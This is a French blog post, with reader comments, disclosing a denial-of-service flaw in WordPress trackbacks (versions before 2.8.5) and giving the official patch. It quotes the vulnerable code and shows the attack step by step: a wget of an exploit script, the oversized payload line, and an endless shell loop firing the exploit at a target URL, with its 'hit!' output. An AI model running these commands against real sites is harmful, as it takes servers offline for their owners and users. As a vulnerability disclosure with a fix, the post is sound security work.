WordPress Trackback Denial of Service
Une faille de sécurité vient d'être découverte pour les versions de WordPress inférieures à la 2.8.5. Le trou de sécurité permet, à une personne malveillante, de provoquer facilement un déni de service sur le serveur hébergeant le site, afin de rendre ce dernier inopérant.
La faille
Le bout de code remis en cause est celui-ci. Il se trouve dans le fichier wp-trackbacks.php :
if ( function_exists(‘mb_convert_encoding') ) { // For international trackbacks $title = mb_convert_encoding($title, get_option('blog_charset'), $charset); $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset); $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset); }
Ici, c'est l'utilisation de la fonction php mb_convert_encoding qui pose problème :
mb_convert_encoding(chaine, nouveau_charset, charset_origine)
Cette dernière permet de convertir l'encodage d'une chaîne de caractères. Elle accepte en troisième paramètre, plusieurs encodages. Ainsi, la fonction est capable de déterminer quel est l'encodage le plus proche de celui d'origine, en les testant un par un.
$text = mb_convert_encoding($text, 'UTF-8', 'ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1');
Ce test demande bien entendu beaucoup de ressources au serveur, surtout si la chaîne de caractères à vérifier est longue.
L'exploit
Pour exploiter cette faiblesse, il suffit donc d'envoyer un trackback contenant une chaîne de 140 000 caractères et indiquer qu'il y a 23 333 charsets d'origine possible. Cela aura pour effet de saturer le CPU du serveur.
Voici un exemple d'utilisation de l'exploit :
wget www.tux-planet.fr/public/hack/exploits/wordpress/exploit-wp-trackback.phps
mv exploit-wp-trackback.phps exploit-wp-trackback.php
On remarquera à la ligne 10, l'initialisation de la chaîne de 140 000 caractères et de son encodage :
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
Puis, on lance le déni de service en précisant l'adresse du site cible :
while /bin/true; do php exploit-wp-trackback.php http://www.cible.com; done;
...
hit!
hit!
hit!
...
Le correctif
Pour combler cette faille de sécurité, il suffit de mettre à jour votre WordPress avec la version 2.8.5 ou supérieure. Si vous souhaitez patcher le code à la main, il suffit simplement de remplacer la ligne suivante du fichier wp-trackback.php :
$charset = strtoupper( trim($charset) );
Par celle-ci :
$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
9 Commentaires pour "WordPress Trackback Denial of Service"
Flux des commentaires de cet article Ajouter un commentaireHéhé niceee
Je sais pas ce que tu en penses mais dans son contexte:
est, de mon avis, une solution trop vite patchée, pour pas dire, mal torchée.
"Code is poetry." Mouai...
En fait c'est connu que tout le code de wordpress est fait à la va-vite.
Cette solution de blog n'a pas un code très poétique...
@Canyon : c'est le patch officiel de WordPress.
@Phil : troll detected !!!
Le plus impressionnant dans tout ça c'est que le blog de la communauté francophone n'en parle même pas !
Thx pti-seb!
Enfin un site qui n'hesite pas a publier les failles (béantes!) de sécurité de WordPress. Cette plate-forme de blog entière est une horreur, une erreur! J'attends avec impatience la fin de WordPress et je n'hésite pas à le faire savoir.
lol Vu, Lucien
Un blog de buzz, non?
@ptit-seb : je veux juste dire que je vois pas l'intérêt d'accepter un charset inexistant ou de str_replace sur le même charset inexistant.
Un bon in_array des familles, par exemple, couvrirait quasi les charset ou :
limite...
Bref, je veux pas troller mais je suis déçu de ce genre de patch et pourtant j'adore cette plateforme...
Troll again : à quand un audit du code?
++
Merci
Autre attaque ddos wordpress récente (en bash). Je la trouve plus efficace que celle sur le site.